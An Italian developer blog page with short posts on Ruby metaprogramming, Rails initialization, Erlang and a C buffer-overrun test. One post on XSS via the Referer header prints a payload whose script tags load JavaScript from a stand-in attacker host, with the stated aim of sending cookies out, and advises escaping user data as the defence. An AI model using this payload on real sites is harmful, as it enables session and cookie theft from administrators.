Ruby inherited, come sapere quando viene create una sotto classe

Posted by Dibi Store Fri, 07 Mar 2008 16:20:00 GMT

A volte può essere utile conoscere quando viene creata una sotto classe di una particolare classe. Per questo può tornare utile il metodo di classe (scusate il gioco di parole) Class.inherited. Gli esempi seguenti sono auto esplicativi e non dovrebbero lasciare dubbi:


class Foo
  
  class << self  # => Uguale a def self.inherited...
    def inherited(sub_class)
      puts "Hai creato la sottoclasse #{sub_class}"
    end
  end

end

class Bar < Foo; end

Posted in  | Tags  | no comments | no trackbacks

Ruby define_method e module_eval: ancora sulla metaprogrammazione

Posted by Dibi Store Tue, 04 Mar 2008 10:28:00 GMT

Continuo la serie di articoli riguardo la metaprogrammazione in Ruby mostrando un paio di metodi molto utili. I metodi che seguono permettono di creare rispettivamente un metodo di istanza (ossia che disponibile successivamente aver istanziato la classe) e un metodo di classe (richimabile senza aver istanziato la classe). Questi metodi sono molto utilizzati ad esempio nel sorgente di rails e ci permettono di usare tutti quei metodi come validates_presence_of che ci vengono regalati in molte classi. Notate nel secondo esempio come usiamo in modo appropriato il codice class << self.

class Test; end
  
Test.module_eval do  
  define_method :talk do  
    puts "This is cool!"  
  end  
end  
  
Test.new.talk # => This is cool!


Test.module_eval do
  class << self
    define_method :talk_again do
      puts "This is more cool!"
    end
  end
end

Test.talk_again # => This is more cool!

Un applicazione reale? Immaginate di dover definire lo stesso metodo in dieci classi diverse contenute nell'array classi, potreste usare il codice seguente:

classi.each do |c|
  c.module_eval do
    define_method :validates... do |*args|
      ....
    end
  end
end

Notate che *args è un hash di argomenti che possono essere passati alla funzione, potete poi estrapolarli a vostro piacere. E' possibile anche dare un solo (o più) argomenti alla funzione con la seguente sintassi define_method :name do |arg1, arg2| ... end.

Risorse: documentazione modulo

Posted in  | Tags  | no comments | no trackbacks

Ruby Module::constants metaprogrammazione in Ruby

Posted by Dibi Store Mon, 03 Mar 2008 19:47:00 GMT

In ruby è possibile conoscere l'elenco delle costanti accessibili da un determinato modulo o classe attraverso il metodo Module::constants.
Il metodo ritorna un array delle costanti definite dal modulo e dai moduli che sono stati inclusi in essi. Di seguito degli esempi chiariranno meglio il concetto:

class Klass
  Foo = 'foo'
  
end

puts Klass.constants.include?('Foo')   # => true


module Foo
  Bar = 'bar'
end

puts Foo.constants.include?('Bar')   # => true


module Test
  include Foo
end

puts Test.constants.include?('Bar')   # => true

puts Object.constants.include?('Klass')   # => true

puts Object.constants.include?('Foo')   # => true

class Klass Foo = 'foo' end puts Klass::Foo # => foo Klass.const_set(:Test, 'valore') puts Klass::Test # => valore # Ridefiniamo la costante Foo Klass.const_set(:Foo, 'bar') puts Klass::Foo # => bar

Notate che l'ultimo test funziona, anche se giustamente viene restituito un warning che ci avvisa che la costante era già stata definita.

Per finire può essere utile ridefinire il metodo che viene invocato quando una costante non esiste, nell'esempio seguente restituirò un messaggio per avvertire che la costante non esiste:

def Object.const_missing(name)
  "La costante #{name} che cercavi non è ancora stata definita"
  
end

puts Class::Foo # => La costante Foo che cercavi non è ancora stata definita

Posted in  | Tags  | no comments | no trackbacks

Niente segmentation fault in mac osx?

Posted by Dibi Store Sun, 02 Mar 2008 17:21:00 GMT

Oggi pomeriggio stavo provando qualche semplice esempio di buffer overflow sul mio mac book e mi aspettavo (come negli altri sistemi) di ricevere un errore di segmentation fault qualora tentassi di sovrascrivere un array al di fuori della sua grandezza. L'esempio chiarisse cosa stavo tentanto di fare:

int main()
{
	int array[5];
	int i;
 
	for(i = 0; i < 255; i++)
	{
		array[i] = 10;
	}
 
	printf("%d\n", array[40]);
 
	return 0;
}

Cosa vi aspettereste di output? Bhe di certo non 10! Se qualcuno sa dirmi il perchè di sta cosa mi fa un piacere, certo è che sta cosa a mio parere può condurre ad errori e andrebbe tolta.

Posted in  | Tags  | 10 comments | no trackbacks

Introduzione a Erlang

Posted by Dibi Store Sun, 02 Mar 2008 11:54:00 GMT

Erlang è un linguaggio di programmazione concorrente, ossia destinata all'iterazione di molti processi contemporanei, si pensi ad esempio a un applicazione di chat.

Erlang è stato creato nei laboratori Ericsson e reso in seguito open-source. Oggi vanta di una comunità di sviluppatori in forte crescita. Viene usato in moltissime situazioni reali, in particolare nel settore delle telecomunicazioni, come T-Mobile. Il linguaggio è compilato e molto veloce.

Programmare in Erlang è semplice, tuttavia potrebbe apparire strano all'inizio, in quanto è un tipo di programmazione che si distacca dalla comune programmazione ad oggetti.
Nei prossimi articoli inizierò a parlare di questo fantastico linguaggio, cercando di dare qualche suggerimento come al solito, intanto lascio qualche risorsa per chi vuole approfondire e valutare se investire in questa risorsa.

Il sito ufficiale: www.erlang.org
Community: www.trapexit.org/
Un ottimo libro per iniziare: programming erlang

Posted in  | Tags  | 2 comments | no trackbacks

XSS sfruttando i referrer link

Posted by Dibi Store Wed, 13 Feb 2008 08:37:00 GMT

Molti non sanno che è possibile sfruttare la tecnica di xss anche tramite l'attributo referrer. A titolo didattico illustrerò un esempio non reale ti tale tecnica. Notate che l'url in questione può essere camuffata in diverse tecniche.

Innanzitutto l'attaccante individua una vittima e ipotizza che da qualche parte in admin ci sia una schermata di riepilogo dei referrer che hanno puntato al sito, poi crea una pagina ad hoc in qui crea un link che punti ad esempio alla home page del sito vittima, e ci clicca. In questo modo il sito vittima registrerà tale evento e verà visualizzato l'url all'amministratore. Cosa succede se però l'indirizzo del referrer è qualcosa di simile al seguente?

Referer: http://sito-cattivo.com/?<script/src="http://hacker.com/hackForIE.js
?unique=123456"src="http://hacker.com/hackForFF.js?unique=123456"></script>

In pratica questo script caricherà come sorgente il js sul sito hacker.com, tale url è stata scritta (non direttamente da me) per evitare una protezione del browser firefox. Inutile dire che dentro quel sito potrebbe esserci ad esempio un javascript che invia i cookie ad un web service predisposto per riceverli. Per ovviare al problema ricordatevi di fare un escape di tutti i dati che un utente può modificare e arrecare danno.

Posted in  | Tags  | no comments | no trackbacks

Yahoo non farlo!

Posted by Dibi Store Fri, 01 Feb 2008 14:42:00 GMT

E' notizia di oggi (ma si sapeva gia) che Microsoft vuole acquistare yahoo per 44 miliardi di dollari... Io spero che non ceda

Posted in  | 1 comment | no trackbacks

Actionscript poco performante?

Posted by Dibi Store Fri, 01 Feb 2008 10:12:00 GMT

Oggi ho avuto un problema che mi ha lasciato abbastanza perplesso, in pratica avevamo bisogno di un sistema tramite flash che ci tornasse l'url in qui era visualizzato il player (non hostato). Il problema è che appunto tramite flash è possibile sapere solo l'indirizzo dove viene ospitato il player, ma se voi tramite un embed lo visualizzate in qualsiasi altro sito, non riusciamo a saperlo.

Le soluzioni che ho trovato in rete non hanno risolto il problema, voglio ricordare che io non sono assolutamente uno sviluppatore flash tantomeno actionscript, quindi se qualcuno ha una soluzione la posti pure (ps non possiamo usare javascript.

Posted in  | no comments | no trackbacks

Usare grep con ruby

Posted by Dibi Store Wed, 09 Jan 2008 10:29:00 GMT

Si, si può, il metodo fa parte del modulo enumerable, di seguito un esempio di utilizzo con rails:

  User.find(:first).attributes.keys.grep(/privacy/)
  => ["privacy", "third_parties_privacy"]

Figo no?

Posted in  | Tags  | no comments | no trackbacks

Analisi del processo di inizializzazione del framework Ruby on Rails

Posted by Dibi Store Wed, 09 Jan 2008 08:22:00 GMT

Ruby on Rails è un framework di qui ho già sicuramente parlato molto, infatti ci lavoro fortunatamente ogni giorno a stretto contatto. Credo che chiunque lo abbia utilizzato almeno una volta abbia voluto sapere cosa succede realmente dietro le quinte di questa gemma. Per questo ho scritto questo articolo che descrive il processo di inizializzazione del framework. Per gli esempi prenderò come riferimento l'attuale versione 2.0.2 .

Innanzitutto consiglio per seguire meglio gli esempi di creare un progetto vuoto che chiameremo course, vi consiglio di tenere questo progetto sempre disponibile, in quanto verrà usato direttamente in articoli futuri. L'ultimo passo è quello di 'congelare' l'attuale versione di rails con il comando:

  rails course
  cd course/
  rake rails:freeze:gems

In alterativa potete scegliere il nome che volete, non ha particolare importanza. Aprendo il file config/database.yml, noterete subito che l'adattatore di default non è più mysql, bensì sqlite3. Ciò ci da un vantaggio immediato, infatti non abbiamo bisogno di andare a creare il database manualmente (anche se avremo potuto usare il comando rake db:create oppure rake db:create:all). A questo punto aprite il vostro IDE preferito, e iniziamo il nostro tour!

Il file dispatcher.rb dentro alla directory /public, è il primo che normalmente viene analizzato (in circostanze normali), nella prima riga vediamo che viene specificato come commento (un commento speciale a dire il vero) il percorso del nostro interprete. Ciò potrà non interessare a molti, ma ciò potrebbe dare in qualche modo fastidio alla macchina in qui effettuerete l'eventuale deploy (analizzeremo anche quello in futuro!) Sappiate che potete usare un trucchetto in molti casi, ossia dichiarare /usr/bin/env ruby, oppure dichiarare esplicitamente il percorso nel momento della generazione del progetto utilizzando l'opzione -r (provate in console a dare il comando rails -h se non lo avete mai fatto). Bando alle ciance, l'unica cosa importante è che viene 'richiesto' il file /config/environment.rb, ammeno che rails non sia gia stato inizializzato (non volete mica carica tutto il framework ogni volta, vero?).
Il file /config/environment.rb dapprima dichiara la versione di rails da utilizzare, poi caricherà il file boot.rb, che si trova nella stessa directory. Questo file dapprima definirà la variabile RAILS_ROOT che indicherò appunto la directory radice del progetto, dopodichè deciderà da dove andare a caricare il framework, in sostanza se è presente una directory /vendor/rails, il framework sarà caricato da li, altrimenti sarà caricato dalla vostra gemma presente nel sistema.

Qui possiamo notare una prima cosa interessante. Osservando il metodo preinitialize, all'incirca alla riga 29, potete notare che rails tenta di caricare un file, precisamente in /config/preinitializer.rb, ovviamente noi questo file andremo a crearlo (siamo [hacker|curiosi|non abbiamo un * da fare] o no?), e ci inseriremo il codice seguente, dopodichè avvieremo il server:

  puts "Ciao dal preinizializzatore!\n\n"
  
  # Salviamo e da console diamo:
  ./script/server
  
  dibistore:course oskar$ ./script/server
  Ciao dal preinizializzatore!

  => Booting Mongrel (use 'script/server webrick' to force WEBrick)
  => Rails application starting on http://0.0.0.0:3000
  => Call with -d to detach
  => Ctrl-C to shutdown server
  ** Starting Mongrel listening at 0.0.0.0:3000
  ** Starting Rails with development environment...
  ** Rails loaded.
  ** Loading any Rails specific GemPlugins
  ** Signals ready.  TERM => stop.  USR2 => restart.  INT => stop (no restart).
  ** Rails signals registered.  HUP => reload (without restart).  It might not work well.
  ** Mongrel 1.1.3 available at 0.0.0.0:3000
  ** Use CTRL-C to stop.
  

Fantastico, abbiamo appena scoperto un modo per inserire del codice ancora prima che venga caricato qualsiasi dato, questo apre molte possibilità, ma non è finita qui, infatti a questo punto caricheremo il file /vendor/rails/railties/lib/initializer.rb. Due parole per capire meglio: questa parte di rails, (railties) serve a collegare insieme i vari componenti (active record, action pack eccetera). Infatti nelle prime righe vengono impostate alcune costanti, aggiunti dei file alla load_path (tramite $LOAD_PATH.unshift File.dirname(__FILE__)) e dichiarato l'environment attuale (molto importante).
Il metodo che ora verrà chiamato è self.run, che potete ispezionare con calma, valutando le possibilità, poco sotto questo metodo vedete anche (commentato) l'elenco delle cose che vengono caricate da rails e il loro ordine, che qui traduco per semplicità:

  # * #controlla la versione di ruby (deve essere almeno la 1.2 ma non la 1.3)
  # * #inserisci i percorsi dei file nella load_path
  # * #carica i vari frameworks (active record ecc.)
  # * #inserisci altri percorsi nella load_path
  # * #aggiungi la directory dei plugin alla load_path (ma non li carica)
  # * #carica il file dell'environment corrente (/config/envrionments/whatever)
  # * #inizializza encoding
  # * #inizializza database (prepara connessione ecc.)
  # * #inizializza il logger
  # * #initializza e configura il logging dei vari frameworks
  # * #inizializza le viste dei frameworks
  # * #inizializza le dipendenze
  # * #inizializza whiny_nil (estende la class Nil, dandoci degli errori più utili)
  # * #inizializza directory temporanee
  # * #inizializza le configurazioni dei frameworks
  # * #aggiunge altri percorsi alla load_path
  # * #carica i plugins
  # * #carica gli observers (/config/initializers/)
  # * #inizializza il processo di routing
  # * #carica eventuali metodo definiti in /config/environment.rb chiamati after_initialize
  # * #carica il tutto

Il nome inizializzatore è più che azzecato, ovviamente non posso descrivere ora nel dettaglio ognuno di questi passi, per qui lo farò man mano nel tempo e pubblicherò degli articoli più dettagliati qui sul blog. Vi consiglio di continuare da soli a questo punto il processo di riscoperta dell'inizializzazione, in quanto è tempo sempre ripagato (che bello ruby).

Posted in  | Tags  | no comments | no trackbacks

Older posts: 1 2 3 4 ... 9